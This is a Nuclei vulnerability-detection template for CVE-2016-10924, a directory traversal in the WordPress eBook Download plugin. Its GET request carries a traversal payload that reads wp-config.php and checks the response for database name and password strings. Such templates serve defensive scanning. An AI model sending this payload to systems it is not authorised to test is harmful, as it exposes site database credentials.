nuclei-templates/cves/2016/CVE-2016-10924.yaml

37 lines
1.1 KiB
YAML
Raw Normal View History

2021-11-24 21:51:36 +00:00
id: CVE-2016-10924
info:
name: Wordpress eBook Download < 1.2 - Directory Traversal
author: idealphase
severity: high
description: The Wordpress eBook Download plugin was affected by a filedownload.php Local File Inclusion security vulnerability.
reference:
- https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
- https://www.exploit-db.com/exploits/39575
2021-11-24 21:51:36 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2016-10924
- https://wordpress.org/plugins/ebook-download/#developers
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2016-10924
cwe-id: CWE-22
tags: cve,cve2021,wp-plugin,lfi,wordpress,ebook
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200